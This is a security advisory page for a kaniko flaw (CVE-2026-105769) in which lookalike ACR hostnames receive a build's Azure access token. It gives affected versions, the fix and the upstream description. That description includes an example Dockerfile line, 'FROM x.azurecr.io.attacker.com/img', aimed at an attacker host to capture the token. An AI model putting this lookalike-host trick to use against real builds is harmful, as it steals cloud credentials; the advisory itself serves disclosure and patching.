kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts (CVE-2026-105769)

Why this deserves its current priority

CVSS is 9.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps chainguard-forks/github.com/chainguard-dev/kaniko (generic), chainguard/github.com/chainguard-dev/kaniko (generic). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
Package	Affected range	Fixed version
chainguard-forks/github.com/chainguard-dev/kanikogeneric	>=0 <1.25.20	1.25.20
chainguard/github.com/chainguard-dev/kanikogeneric	>=0 <1.25.20	1.25.20

Recommended response

Check inventory. Check lockfiles and deployed manifests for chainguard-forks/github.com/chainguard-dev/kaniko, chainguard/github.com/chainguard-dev/kaniko.
Review the reported fix. Source-reported solution: Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.

Evidence timeline and material changes

Published upstream
Nov 2, 2026
Evidence: source:cvelist:source_dates:source-dates:record
Source modified
Nov 2, 2026
Evidence: source:cvelist:source_dates:source-dates:record
First seen by HOL
Nov 2, 2026

Sources and claim methodology

Upstream source description

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Quoted source text, attributed separately from HOL analysis.

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hostsCVE-2026-105769

Key facts